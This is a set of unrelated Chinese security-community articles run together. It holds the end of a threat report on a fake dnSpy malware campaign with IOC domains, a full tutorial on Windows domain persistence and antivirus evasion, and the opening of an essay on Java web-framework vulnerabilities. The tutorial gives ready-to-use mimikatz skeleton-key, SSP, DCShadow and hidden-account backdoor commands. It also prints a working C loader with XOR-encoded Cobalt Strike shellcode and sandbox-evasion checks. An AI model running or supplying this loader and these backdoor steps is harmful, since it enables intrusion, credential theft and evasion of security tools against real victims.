查看该网站的历史记录发现同样为一个工具下载站点，且关联有多个社交媒体账号。
推特[@Bigwarez2](https://twitter.com/bigwarez2)
Facebook[@software.download.free.mana](http://noahblog.360.cn/content/images/2022/01/https://www.facebook.com/software.download.free.mana)
该账号现在推广的网站为 **itools[.]digital** ，是一个浏览器插件的下载站。
Facebook组[@free.software.bigwarez](https://www.facebook.com/groups/free.software.bigwarez)
领英 - 当前已经无法访问 [@free-software-1055261b9](http://noahblog.360.cn/fake-dnspy-when-hackers-have-no-martial-ethics/www.linkedin.com/in/free-software-1055261b9)
tumblr[@bigwarez](https://www.tumblr.com/blog/view/bigwarez)
继续分析tuki1986的记录发现了另一个网站 **blackos[.]net**
该网站同样为黑客工具下载站点
且在威胁情报平台标注有后门软件
通过该网站发现有一个名为`sadoutlook1992`的用户，从18年即开始在各种黑客论坛里发布挂马的黑客工具。
在其最新的活动中，下载链接为 **zippyfiles[.]net**
从恶意的Gihubt仓库及解压密码可知有一个用户名为”CarbonBlackz”， 使用搜索引擎检索该字符串，
发现在知名的数据泄露网站raidforums[.]com有名为“Carbonblackz”的用户。
同样的在俄语的黑灰产论坛里也注册有账号，这两个账号均未发布任何帖子和回复，疑似还未投入使用。
其还在越南最大的论坛中[发布](https://tinhte.vn/profile/2883781/)软件下载链接：
#### 归因分析
通过查看这些域名的WHOIS信息发现， filesr[.]net的联系邮箱为[email protected]
查询该邮箱的信息关联到一位35岁，疑似来自俄罗斯的人员。
从`carbon1986`和`tuki1986`这两个ID来看，1986疑似为其出生年份，同时也符合35岁的年龄。
根据这些域名的关联性，行为模式与类似的推广方式，我们认为这些域名与dnspy[.]net的攻击者属于同一批人。
这是一个经过精心构建的恶意组织，其至少从2018年10月即开始行动，通过注册大量的网站，提供挂马的黑客工具/破解软件下载，并在多个社交媒体上进行推广，从而感染黑客，安全研究人员，软件开发者等用户，后续进行挖矿，窃取加密货币或通过RAT软件窃取数据等恶意行为。
## 结论
破解软件挂马已经屡见不鲜，但对于安全研究人员的攻击则更容易中招，因为一些黑客工具，分析工具的敏感行为更容易被杀软查杀，所以部分安全研究人员可能会关闭防病毒软件来避免烦人的警告。
虽然目前该组织相关的恶意网站，gihub仓库以及用于分发恶意软件的链接大部分已经失效.但安全研究人员和开发人员还是要时刻保持警惕。对于各种破解/泄露的黑客工具建议在虚拟环境下运行，开发类软件，办公软件要从官网或正规渠道下载，且建议使用正版.以避免造成不必要的损失。
## IOCs
dnSpy.dll - f00e0affede6e0a533fd0f4f6c71264d
* ip
ip:
45.32.253.0
* domain
zippyfiles.net
windows-software.net
filesr.net
coolmint.net
windows-software.co
dnspy.net
torfiles.net
combolist.cloud
toolbase.co
shortbase.net
blackos.net
bigwarez.net
buysixes.com
itools.digital
4api.net
* * * | 社区文章 |
# 手把手教你入门内网渗透之三
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
> 内网系列文章之三
## 0x00 写在前面
在上一篇文章中，我介绍了内网横向渗透的相关方法，以及拿下域控后导出域hash的方式，在本文中，我将把持久化控制和免杀作为本系列的结束。
**本文顺序**
_持久化后门-》免杀相关-》总结结语_
## 0x01 持久化后门
### 1.程序替换
很久很久之前的方法，像是粘滞键（5次shift）、设置中心（Windows+U键）等等，在低版本系统中可以通过替换这些程序为我们想要的比如cmd.exe，就可以做到最简单的后门。
其中
粘滞键：C:\Windows\System32\sethc.exe
设置中心：C:\Windows\System32\utilman.exe
将cmd.exe复制到目标文件目录，改名后覆盖。
替换不常用服务的工具：msf自带exploit/windows/local/persistence_service
### 2.账户克隆(rid hijack)
Windows使用安全帐户管理器（SAM）来存储本地用户和内置帐户的安全描述符，每个帐户都有一个指定的RID来标识它。我们新建用户，之后导出注册表，并用administrator的f值替换新用户的f值，删掉新用户，再导入注册表，新用户可以正常使用，但net
user看不到，也删不掉，只能通过注册表操作。
net user lce$ lce.123 /add //创建匿名用户
net localgroup administrators lce$ /add //加入管理员组
目标注册表键值位置:HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users
//PS：SAM键值默认是system权限修改，所以修改一下SAM键的权限，给予administrator完全控制和读取权限
导出lce$的值，并把administrator用户对应的项的F值复制到lce$对应项中的F值
net user lce$ /del //删掉lce$
使用导出的注册表文件，用先前导出的注册表键值对注册表进行修改，重新还原之前的匿名用户 //还原匿名用户lce$
相关工具:msf：post/windows/manage/rid_hijack，Windows-User-Clone.ps1，Create-Clone.ps1
### 3.自启动
**注册表自启动项**
注册表简介：类似一种树状数据库。
HKEY_CLASSES_ROOT 用于存储一些文档类型、类、类的关联属性
HKEY_CURRENT_CONFIG 用户存储有关本地计算机系统的当前硬件配置文件信息
HKEY_CURRENT_USER 用于存储当前用户配置项
HKEY_CURRENT_USER_LOCAL_SETTINGS 用于存储当前用户对计算机的配置项
HKEY_LOCAL_MACHINE 用于存储当前用户物理状态
HKEY_USERS 用于存储新用户的默认配置项
注册表自启动键值位置：
修改自动项，达到开机自启动恶意程序
用户：
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
管理员：
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run
**开始菜单启动项**
指示启动文件夹的位置，其中User Shell Folders优先于Shell Folders。
修改注册表，可以修改开始菜单启动项
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders
**计划任务**
通过Window系统的任务计划程序功能实现定时启动某个任务程序，Windows下计划任务的命令有：at和schtasks，其中at命令在win7等高版本windows中不能将任务放在前台执行，也就是只会打开一个后台进程，而schtasks是将定时的任务在前台执行。
图形化工具：taskschd.msc
命令行工具：schtasks.exe
SCHTASKS /parameter [arguments]
/Create 创建新计划任务
/Delete 删除计划任务
/Query 显示所有计划任务
/Run 运行计划任务
/End 中止当前正在运行的计划任务
比如:
cmd> SCHTASKS /Create /TN update /TR xxx(要执行的命令) /DELAY ONLOGON /F /RL HIGHEST
### 4.clr hijack
CLR(Common Language Runtime公共语言运行库)和Java虚拟机一样是一个运行时环境，是一个可由多种编程语言使用的运行环境。CLR是
.Net
Framework的主要执行引擎，无需管理员权限的后门，并能够劫持所有.Net程序，执行有些程序时会默认会调用.Net程序，从而使我们的后门自动触发。
cmd> SET COR_ENABLE_PROFILING=1
cmd> SET COR_PROFILER={11111111-1111-1111-1111-111111111111} //{11111111-1111-1111-1111-111111111111}表示CLSID可设置为任意数值，只要和系统常用CLSID不冲突
cmd> SET KEY=HKEY_CURRENT_USER\Software\Classes\CLSID\{11111111-1111-1111-1111-111111111111}\lceServe //新建子项{11111111-1111-1111-1111-111111111111}\lceServe
cmd> REG.EXE ADD %KEY% /V ThreadingModel /T REG_SZ /D Apartment /F //新建REG_SZ类型键值ThreadingModel:Apartment
cmd> REG.EXE ADD %KEY% /VE /T REG_SZ /D "%CD%\evil.dll" /F //修改默认路径值为evil.dll"的路径
cmd> powershell //启动powershell时执行目标dll
PS：需要注册为全局变量，不然只能在这个cmd窗口劫持：
cmd> SETX COR_ENABLE_PROFILING=1 /M
cmd> SETX COR_PROFILER={11111111-1111-1111-1111-111111111111} /M
自动化工具：CLR-Injection.bat
### 5 .com hijack
Component Object
Model（组件对象模型），是微软的一套软件组件的二进制接口标准，使得跨编程语言的进程间通信、动态对象创建成为可能。利用COM劫持技术，通过修改CLSID下的注册表键值，实现对CAccPropServicesClass和MMDeviceEnumerator劫持，而系统很多正常程序启动时需要调用这两个实例。
首先在%APPDATA%\Microsoft\Installer\{BCDE0395-E52F-467C-8E3D-C4579291692E}\目录下放入恶意dll文件 //若Installer文件夹不存在，则依次创建Installer\{BCDE0395-E52F-467C-8E3D-C4579291692E}
然后修改注册表，在HKCU\Software\Classes\CLSID\下创建项{b5f8350b-0548-48b1-a6ee-88bd00b4a5e7}
然后再创建一个子项lceServer，值默为dll文件路径。再创建一个键ThreadingModel，键值为：Apartment
之后可以通过打开相关程序比如iexplore.exe来调用恶意dll
相关工具：COM-Object-hijacking
### 6.junction folder
文件夹命名为：name.{clsid}。当浏览时，就会执行对应的clsid的dll。
### 7.msdtc
Distributed Transaction
Coordinator，微软分布式传输协调程序，Windows系统默认启动该服务。计算机加入域，MSDTC服务启动时，会搜索注册表HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\MSDTC\MTxOCI，并加载3个DLL：oci.dll、SQLLib80.dll、xa80.dll。但是默认oci.dll是没有的，可以自己在system32下放置一个恶意oci.dll，实现劫持。
**除了上面说的一些，还有其他许多方法可以实现dll劫持，继续探索。DLL劫持识别开源工具：Rattler。**
### 8.DSRM
每一个域控都有一个本地管理员账户（并非域的管理员帐户），也就是所谓的目录服务还原模式（DSRM）账户。DSRM的密码是在DC安装时就要设置，很少会被重置。本地用户的hash存在sam文件，而域内用户hash存在ntds.dit。不使用域控的administrator进行pth，使用dsrm用户pth。但是dsrm默认不能pth，但是改了注册表就可以了。默认情况下域控的administrator密码与dsrm是不同的，我们首先同步密码，之后修改注册表。
1.同步密码：
NTDSUTIL
SET DSRM PASSWORD
SYNC FROM DOMAIN ACCOUNT <your user like krbtgt>
Q
Q
PS：Windows Server 2008 需要安装KB961320补丁才支持DSRM密码同步，而Windows Server 2003不支持DSRM密码同步
2.使用mimikatz查看密码是否同步
3.修改注册表允许DSRM账户远程访问：
HKLM\System\CurrentControlSet\Control\Lsa\DSRMAdminLogonBehavior值设置为为2（代表无论哪一种情况，你都可以使用DSRM管理员帐户登录。） //默认不存在，手动添加
4.使用hash远程登录即可pth：
privilege::debug
sekurlsa::pth /domain:w7 /user:Administrator /ntlm:xxxxxxxx
### 9.SSP
Security Support Provider（安全支持提供程序），是Windows
API，用于扩展Windows身份验证机制。lsass进程正在Windows启动期间加载其提供的dll，我们可以通过修改或者替换dll实现与lsass进程进行交互并记录该进程中存储的所有密码信息。
注册SSP DLL方式：
mimikatz提供mimilib.dll，并放到与lsass进程（System32）相同的位置C:\Windows\System32\
reg add "hklm\system\currentcontrolset\control\lsa\" /v "Security Packages" /d "kerberos\0msv1_0\0schannel\0wdigest\0tspkg\0pku2u\0mimilib" /t REG_MULTI_SZ //修改注册表项以包括新的安全支持提供程序mimilib
注册表已被篡改并且DLL存储在系统中，因此在重新启动后继续存在。当域用户再次通过系统进行身份验证时，将创建一个C:\Windows\System32\kiwissp.log文件，该文件将记录帐户的凭据。
内存注入方式：
（不需将mimilib.dll放入磁盘或修改注册表，重启后失效）
privilege::debug
misc::memssp
在用户再次通过系统认证时，会创建C:\Windows\System32\mimilsa.log文件，包含用户纯文本密码。
PS：除了使用mimikatz以外，也可以使用后渗透神器Empire或者powersploit来实现这两种方式。
### 10.sid history
每个用户帐号都有一个关联的安全标识符SID，作用是跟踪安全主体控制用户连接资源时的访问权限，也就是在域迁移过程中保持域用户的访问权限，如果迁移后用户的SID值改变，系统会将原来的SID添加到迁移后用户的SID
History属性中，使迁移后的用户保持原有权限。我们的目的是使用mimikatz将SID History属性添加到任意用户的SID
History属性中，以获得管理员权限。
privilege::debug
sid::patch //修复NTDS服务
sid::add /sam:hacker /new:administrator
sid::clear /sam:hacker //清除SID History
### 11.skeleton key
将万能密码注入到lsass.exe中，域内所有用户的原密码和万能密码都可以登录，重启后失效。
privilege::debug
!+ //绕过LSA Protection，需要导入驱动mimidrv.sys文件：https://github.com/gentilkiwi/mimikatz/blob/master/mimikatz/modules/kuhl_m_kernel.c
!processprotect /process:lsass.exe /remove //绕过LSA Protection
misc::skeleton
之后可以用域内任意账号登录，万能密码默认为mimikatz
PS：mimikatz绕过cmd，regedit禁用：
privilege::debug
misc::cmd
misc::regedit
misc::taskmgr
### 12.hook passwordchangenotify
修改密码时，lsa会调用passwordfileter检查是否符合复杂性要求，之后调用passwordchangenotify在系统中同步密码。其中函数PasswordChangeNotify在rassfm.dll中。我们注入一个dll文件，hook掉passwordchangenotify，读取密码。
使用HookPasswordChange.dll和HookPasswordChangeNotify.ps1（尾部添加Invoke-ReflectivePEInjection -PEPath HookPasswordChange.dll –procname lsass）
PowerShell.exe -ExecutionPolicy Bypass -File HookPasswordChangeNotify.ps1 //使用powershell运行脚本
在C:\Windows\Temp\passwords.txt中记录明文密码
### 13.dcshadow
防止持久化操作被SIEM等系统记录，伪造一个域控，实行完操作后，将数据同步到真实域控。
lsadump::dcshadow /object:CN=dc,CN=Users,DC=lce,DC=com /attribute:primarygroupid/value:512 //使用system权限添加域管
lsadump::dcshadow /push //使用域管权限进行域复制，后同
lsadump::dcshadow /object:CN=dc,CN=Users,DC=lce,DC=com /attribute:sidhistory /value:S-1-5-21-771480511-316148334-622873008-500 //sid history后门
### 14.acl
方法1：基于注册表ACL后门，在域控制器上将hklm的特定键值分配everyone读取权限，使用DAMP这个工具设置即可。之后在。普通用户机器上读ntlm
hash。
首先在域控上修改：
import-module Add-RemoteRegBackdoor.ps1 //导入
Add-RemoteRegBackdoor -ComputerName client.external.local -Trustee 'S-1-1-0' -Verbose
然后普通用户机器上读ntlm hash：
import-module RemoteHashRetrieval.ps1 //导入
Get-RemoteLocalAccountHash -ComputerName ad1 -Verbose //域内普通用户读取域管ntlm hash
之后可以pth等等
方法2：基于域策略文件权限后门，域里机器每过一段时间会访问域控制器的C:\Windows\SYSVOL\sysvol\domain.
com\Policies 以更新它们的策略。我们可以配置Policies的文件夹权限为everyone完全控制。
cacls C:\Windows\SYSVOL\sysvol\lce.com\Policies /e /t /c /g "EveryOne":f //配置policies文件夹权限为everyone完全控制
import-module powerview.ps1 //导入powerview脚本
Get-NETGPO -ComputerName w7 |fl gpcfilesyspath //查询某台机器对应的策略文件
找到目标文件夹下MACHINE\Microsoft\Windows NT\SecEdit\GptTmpl.inf文件，在文件末尾添加：//修改策略
[Registry Values] MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskhost.exe\Debugger=1,c:\windows\system32\calc.exe [Version] signature="$CHICAGO$" Revision=1
gpupdate /force //手动刷新策略触发策略启动计算器
方法3：dcsync后门，在高级功能的安全中把everyone用户设置成完全控制，任意用户可以导出域hash，并pth。
### 15.其他方式
**office系列**
基本思路是将恶意dll文件保存到office打开时会调用dll的位置，如%APPDATA%\Microsoft\Word\Startup、%appdata%\Microsoft\AddIns等，然后修改注册表，实现打开office软件加载恶意dll的目的。
**windows库**
创建clsid；在Windows的xml库文件中插入simplelocation元素。
**应用插件和扩展**
比如chrome的恶意插件，vs，notepad++等。
> 其他后门方式也还有很多，多多探索，不局限于这些入门级的后门!
## 0x02 免杀浅析
### 1.分离免杀
**shellcode loader**
通过使用加载器将shellcode与加载程序分开，以此达到分离免杀效果。可以自己造个轮子用，配合编码，免杀效果还可以。在最后我给出我学习写的一个例子仅供参考。
现成的工具有shellcode_launcher-master等。
**白加黑**
基于Windows的白名单，执行目标代码。比如用msbuild编译执行c#代码，用rundll32执行动态链接库dll文件等等。
### 2.混淆免杀
**编码混淆**
使用异或编码、base64、十六进制等等，也可以在生成shellcode时选择加密方式，如msfvenom。有能力的话也可以使用一些偏僻语言编写，能够绕过没有涉及这种语言的杀软。
开源工具：shellcode_encoder。（也可以自己写来用，用python写比较方便）
**注入混淆**
将shellcode注入到应用进程如putty.exe中。
一些工具：bdf、shellter、Avet、veil。
### 3.其他
**无文件落地**
所谓的无文件落地，恶意程序不是以普通文件的方式存在，而是以脚本的形式存在计算机中的注册表中，以此来躲避杀软的检测，并且在Windows启动时都会调用注册表中的命令。因此无文件落地攻击包括两个流程：写入注册表+下载并加载远程代码。这种方式需要编写客户端和服务端，造完轮子后用处很大。
**伪造证书签名**
一些杀软通过检测证书来判断是否为恶意程序。两种方法伪造证书：添加在文件末尾(Authenticode)和CAT文件(catalog)。
证书伪造工具：SigThief-master
**内核数量检测**
沙盒检测时为了减少主机资源的占用，分配较少的内核，根据检测内核的数量判断是否存在于被检测环境中。
**Tick Count值检测**
杀软为了满足用户的需求，一般扫描速度都比较快，以前进行免杀时都是用sleep函数，等到杀软运行完了再执行shellcode。目前基本都会跳过sleep函数，我们可以使用两个GetTickCout()的值来判断是否跳过了sleep函数，以达到检测是否在被检测的环境下。
**_not the end…_**
### 4.小例子
步骤：
1. 用Cobalt Strike生成二进制payload文件。
2. 用B2C.py进行混淆编码。
3. 修改AKDLL.dll的相关内容后上传至目标机器，用rundll32执行。
virustotal查杀结果：
代码：
#B2C.py
from argparse import ArgumentParser, FileType
def xor(num, src, dst):
shellcode = 'unsigned char buf[] = "'
shellcode_size = 0
while True:
code = src.read(1)
if not code:
break
code_xor = ord(code) ^ num
code_hex = hex(code_xor).replace('0x', '')
if (len(code_hex) == 1):
code_hex = '0' + code_hex
shellcode = shellcode + '\\x' + code_hex
shellcode_size += 1
shellcode = shellcode+'";'
src.close()
dst.write(shellcode)
dst.close()
return shellcode_size
def main():
arg = ArgumentParser(prog='B2C')
arg.add_argument('-s', '--src', help='source', type=FileType('rb'), required=True)
arg.add_argument('-d', '--dst', help='destination', type=FileType('w+'), required=True)
arg.add_argument('-n', '--num', help='xor number', type=int, default=99)
args = arg.parse_args()
size = xor(args.num, args.src, args.dst)
print("[+]Author:lceCre4m\n")
print("[+]ShellCode_Size:%d\n" %size)
print("[+]Write %s OK!\n" %args.dst)
if __name__ == "__main__":
main()
//AKDLL.dll
#include "pch.h"
#include<windows.h>
#include<stdio.h>
int flag = 0;
void PassAv() {
for (;;) {
SYSTEM_INFO sysguide;
GetSystemInfo(&sysguide);
int core = sysguide.dwNumberOfProcessors;
if (core < 2) {
flag = 1;
continue;
}
int tick1 = GetTickCount();
Sleep(1000);
int tick2 = GetTickCount();
if ((tick2 - tick1) < 1000) {
flag = 1;
continue;
}
break;
}
}
extern "C" __declspec(dllexport) void Loader(HWND hwnd, HINSTANCE hinst, LPTSTR lpCmdLine, INT nCmdShow) {
DWORD dwthreadId, dwThreadId;
HANDLE hthread, hThread;
DWORD dwProtect;
int code_size = 0;
unsigned char buf[] = "\xf6\xe2\x83\x0a\x0a\x0a\x6a\x83\xef\x3b\xd8\x6e\x81\x58\x3a\x81\x58\x06\x81\x58\x1e\x81\x78\x22\x05\xbd\x40\x2c\x3b\xf5\x3b\xca\xa6\x36\x6b\x76\x08\x26\x2a\xcb\xc5\x07\x0b\xcd\xe8\xfa\x58\x5d\x81\x58\x1a\x81\x48\x36\x0b\xda\x81\x4a\x72\x8f\xca\x7e\x40\x0b\xda\x5a\x81\x42\x12\x81\x52\x2a\x0b\xd9\xe9\x36\x43\x81\x3e\x81\x0b\xdc\x3b\xf5\x3b\xca\xa6\xcb\xc5\x07\x0b\xcd\x32\xea\x7f\xfe\x09\x77\xf2\x31\x77\x2e\x7f\xe8\x52\x81\x52\x2e\x0b\xd9\x6c\x81\x06\x41\x81\x52\x16\x0b\xd9\x81\x0e\x81\x0b\xda\x83\x4e\x2e\x2e\x51\x51\x6b\x53\x50\x5b\xf5\xea\x52\x55\x50\x81\x18\xe1\x8c\x57\x62\x64\x6f\x7e\x0a\x62\x7d\x63\x64\x63\x5e\x62\x46\x7d\x2c\x0d\xf5\xdf\x3b\xf5\x5d\x5d\x5d\x5d\x5d\x62\x30\x5c\x73\xad\xf5\xdf\xe3\x8e\x0a\x0a\x0a\x51\x3b\xc3\x5b\x5b\x60\x09\x5b\x5b\x62\x9a\x15\x0a\x0a\x59\x5a\x62\x5d\x83\x95\xcc\xf5\xdf\xe1\x7a\x51\x3b\xd8\x58\x62\x0a\x08\x6a\x8e\x58\x58\x58\x59\x58\x5a\x62\xe1\x5f\x24\x31\xf5\xdf\x83\xcc\x89\xc9\x5a\x3b\xf5\x5d\x5d\x60\xf5\x59\x5c\x62\x27\x0c\x12\x71\xf5\xdf\x8f\xca\x05\x8e\xc9\x0b\x0a\x0a\x3b\xf5\x8f\xfc\x7e\x0e\x83\xf3\xe1\x03\x62\xa0\xcf\xe8\x57\xf5\xdf\x83\xcb\x62\x4f\x2b\x54\x3b\xf5\xdf\x3b\xf5\x5d\x60\x0d\x5b\x5c\x5a\x62\xbd\x5d\xea\x01\xf5\xdf\xb5\x0a\x25\x0a\x0a\x33\xcd\x7e\xbd\x3b\xf5\xe3\x9b\x0b\x0a\x0a\xe3\xc3\x0b\x0a\x0a\xe2\x81\xf5\xf5\xf5\x25\x39\x7f\x65\x4f\x0a\x3f\x45\x2b\x5a\x2f\x4a\x4b\x5a\x51\x3e\x56\x5a\x50\x52\x3f\x3e\x22\x5a\x54\x23\x3d\x49\x49\x23\x3d\x77\x2e\x4f\x43\x49\x4b\x58\x27\x59\x5e\x4b\x44\x4e\x4b\x58\x4e\x27\x4b\x44\x5e\x43\x5c\x43\x58\x5f\x59\x27\x5e\x4f\x59\x5e\x27\x4c\x43\x46\x4f\x2b\x2e\x42\x21\x42\x20\x0a\x3f\x45\x2b\x5a\x2f\x0a\x5f\x79\x6f\x78\x27\x4b\x6d\x6f\x64\x7e\x30\x2a\x47\x65\x70\x63\x66\x66\x6b\x25\x3f\x24\x3a\x2a\x22\x69\x65\x67\x7a\x6b\x7e\x63\x68\x66\x6f\x31\x2a\x47\x59\x43\x4f\x2a\x33\x24\x3a\x31\x2a\x5d\x63\x64\x6e\x65\x7d\x79\x2a\x44\x5e\x2a\x3c\x24\x3b\x31\x2a\x5e\x78\x63\x6e\x6f\x64\x7e\x25\x3f\x24\x3a\x31\x2a\x48\x45\x43\x4f\x33\x31\x44\x46\x44\x46\x23\x07\x00\x0a\x3f\x45\x2b\x5a\x2f\x4a\x4b\x5a\x51\x3e\x56\x5a\x50\x52\x3f\x3e\x22\x5a\x54\x23\x3d\x49\x49\x23\x3d\x77\x2e\x4f\x43\x49\x4b\x58\x27\x59\x5e\x4b\x44\x4e\x4b\x58\x4e\x27\x4b\x44\x5e\x43\x5c\x43\x58\x5f\x59\x27\x5e\x4f\x59\x5e\x27\x4c\x43\x46\x4f\x2b\x2e\x42\x21\x42\x20\x0a\x3f\x45\x2b\x5a\x2f\x4a\x4b\x5a\x51\x3e\x56\x5a\x50\x52\x3f\x3e\x22\x5a\x54\x23\x3d\x49\x49\x23\x3d\x77\x2e\x4f\x43\x49\x4b\x58\x27\x59\x5e\x4b\x44\x4e\x4b\x58\x4e\x27\x4b\x44\x5e\x43\x5c\x43\x58\x5f\x59\x27\x5e\x4f\x59\x5e\x27\x4c\x43\x46\x4f\x2b\x2e\x42\x21\x42\x20\x0a\x3f\x45\x2b\x5a\x2f\x4a\x4b\x5a\x51\x3e\x56\x5a\x50\x52\x3f\x3e\x22\x5a\x54\x23\x3d\x49\x49\x23\x3d\x77\x2e\x4f\x43\x49\x4b\x58\x27\x59\x5e\x4b\x44\x4e\x4b\x58\x4e\x27\x4b\x44\x5e\x43\x5c\x43\x58\x5f\x59\x27\x5e\x4f\x59\x5e\x27\x4c\x43\x46\x4f\x2b\x2e\x42\x21\x42\x20\x0a\x3f\x45\x2b\x5a\x2f\x4a\x4b\x5a\x51\x0a\x62\xfa\xbf\xa8\x5c\xf5\xdf\x60\x4a\x62\x0a\x1a\x0a\x0a\x62\x0a\x0a\x4a\x0a\x5d\x62\x52\xae\x59\xef\xf5\xdf\x99\xb3\x0a\x0a\x0a\x0a\x0b\xd3\x5b\x59\x83\xed\x5d\x62\x0a\x2a\x0a\x0a\x59\x5c\x62\x18\x9c\x83\xe8\xf5\xdf\x8f\xca\x7e\xcc\x81\x0d\x0b\xc9\x8f\xca\x7f\xef\x52\xc9\xe2\xa3\xf7\xf5\xf5\x3b\x33\x38\x24\x3b\x3c\x32\x24\x3b\x3d\x3a\x24\x3b\x38\x32\x0a\x0a\x0a\x0a\x0a";
code_size = sizeof(buf);
hthread = CreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE)&PassAv, NULL, NULL, &dwthreadId);
WaitForSingleObject(hthread, INFINITE);
if (flag < 1) {
for (int i = 0; i < code_size; i++) {
buf[i] ^= 10;//需要自己改
}
char * shellcode = (char *)VirtualAlloc(
NULL,
code_size,
MEM_COMMIT,
PAGE_READWRITE
);
CopyMemory(shellcode, buf, code_size);
VirtualProtect(shellcode, code_size, PAGE_EXECUTE, &dwProtect);
hThread = CreateThread(
NULL,
NULL,
(LPTHREAD_START_ROUTINE)shellcode,
NULL,
NULL,
&dwThreadId
);
WaitForSingleObject(hThread, INFINITE);
}
}
## 0x03 系列结语
本系列从内网搭建隧道收集信息开始，到提权，横向，到最后免杀和持久化，希望各读者能够有所收获。有问题的话也欢迎交流。
这个内网安全入门系列到此就告一段落了，第一次码技术类文章，学习了很多，随着时间的推移，安全圈的许多事情也不断在变化，不好说别人怎么样，只好做自己。最后感谢安全客和所有的读者。 | 社区文章 |
本文作者Orange，原文地址 <[http://blog.orange.tw/2016/12/java-web.html>](http://blog.orange.tw/2016/12/java-web.html>);
> 本来这篇文章叫做HITCON CTF 2016初赛出题小记的，可是摆着摆着就两个月过去惹～
转来写写跟Java有关的东西XD
## 关于序:
今年五六月的时候，看到某个曾经很多人用但快停止维护的Java Web
Framework弱点的修补方式感觉还有戏所以开始追一下原始码挖0-Day，顺便整理一下Java Web相关弱点— 觉得有趣。
通常自己在外面演讲时对于Web Security的分类中大致可分为三个世界:
* File-Based 的世界，一个档案对应一个入口点如经典的ASP, PHP, ASPX 等
* Route-Based 的世界，一个路径对应一组函数(功能)如经典的Rails, NodeJS, Django 等
* Java 的世界，Java 的世界极其复杂自成一格独立讨论
当然三种分类并不是独立开来，如常见PHP MVC 用Rewrite 将File-Based 伪装成Route-Based 的还是有可能有File Based
的特性，Java 世界中还是可能出现File-Based / Route-Based 常见问题等等等
Java 可以独树一格自成一圈自然有它的道理在! Java Web 相关攻击手法一直以来都是扑朔迷离，生态复杂出过的弱点又多(想想Struts2
:P)，偶尔爆出一个很严重的漏洞才又开始有人关注，也很难有一个脉络所以一直以来都没有看到有个很好的整理!
(当然国外还是有一些在这个领域耕耘已久的研究人员如@pwntester @meder @ gebl @frohoff @空虚浪子心等等等)
这也促使我在这下半年开始来好好研读一下关于Java Web 的生态以及弱点漏洞的整理。
从2013 年开始接触CTF 到现在，在Web 分类中所看到关于Java 的题目真的少之又少，最常见的通常是PHP、其次Python、偶尔来点Ruby /
JavaScript / Go 等等...
虽然PHP最大宗很合理(现实网站常见、新手容易入门、语法特性容易写出问题)，不过身为稳定度高，在大型网站、银行、政府网站常见的Java几乎没有就很不合理了。
最后是，PHP的梗几乎都被玩完了，除了老梗外几乎都是基于PHP核心问题的特性，该是换点新梗的时候!
## 关于 Java:
Java Web的生态各种复杂，从最底层的JVM到Web Container到上层的Web
Framework，在Java的世界中就像是一种原料什么都可以靠它堆塑起来，而不像以往的PHP只须要顾好应用层就好!再加上在Java生态中很喜欢引用来、引用去，串来串去的结果则是当底层函示库出包后，上方所有应用会跟着一起受害，举个JBoss
Admin Console这个应用来当例子的话则是:
JBoss Admin Console使用Seam Framework这个框架所开发的网页应用，而Seam Framework使用了JSF(Java
Server Faces)的架构，Java Server Faces为一个Java EE的标准，基于这个标准上的实作较知名的共有两套：
* Apache 所实作的MyFaces
* Oracle 所实作的Mojarra
而为了让JSF 实作更为好用又在其上引申出了一些方便JSF 使用的Framework 如Richfaces
而Seam 则是使用基于Richfaces 上的实作，所以整个生态链为
`JVM -> JBoss -> Mojarra -> Richfaces -> Seam Framework ->
JBoss Admin Console`
整个生态链串来串去只要其中一个出现漏洞则最上层的应用皆会有问题
如:
CVE-2010-4476，JVM 浮点数解析DoS 漏洞，只要以上处里的过程中出现类似
Double.parseDouble("2.2250738585072012e-308") 的状况就可以达成DoS 效果
Web Container /Application Server 弱点，这个不细数，JBoss, Tomcat, GlassFish, Weblogic
或是Websphere 都出过很多洞XD
JSF 实作漏洞，可以看下面举的例子
Framework 本身漏洞，如 CVE-2010-1871 - Seam EL注入漏洞导致远端代码执行
网页应用开发者本身自己写出来的洞
举个例子:
在研究Java网页应用弱点的时候发现到了CVE-2010-1871这个好玩的东西
漏洞详情可参阅《JBoss Seam Framework remote code execution》
虽然Seam Framework 已经是过时的产品了不过身为弱点研究人员感兴趣的是漏洞的成因跟如何修补，在研究漏洞如何修补的同时顺便对Seam
Framework 的原始码审查一下，发现在Seam Framework 2 的这个分支中最新的版本为2.3.1.Final，在前文有提到，Seam
所使用的是基于Mojarra 实作的Richfaces，这代表只要Mojarra 或是Richfaces 有弱点，则可影响到所有使用Seam2
所撰写的应用程式。
再仔细观察一下Seam 2 所使用到的函示库
lib/richfaces-core-impl.jar - 根据MANIFEST 内容显示版本为Richfaces 4.3.3.Final
lib/jsf-impl.jar - 根据MANIFEST 内容显示版本为Mojarra 2.1.7
最新版本的Seam 2使用的居然不是最新版本的第三方函示库!透过寻找上面两个函示库出现过的漏洞会发现在2013年出现的CVE-2013-3827
详情可参考《Two Path Traversal Defects in Oracle's JSF2 Implementation》
所以基于CVE-2013-3827上，将原本的PoC修改一下就可以完美的重现在最新版本的Seam Framework 2上面。
上面这个例子只能做到读取敏感档案，接下来再一个远端代码执行的例子:
同样也是使用到旧版本Richfaces的CVE-2013-2165，开发者根本不会知道多了一个/a4j/的url-pattern，漏洞会从url中直接将参数代入readObject执行，刚好可以搭上最近很夯的Java Deserialization风潮达成远端代码执行!
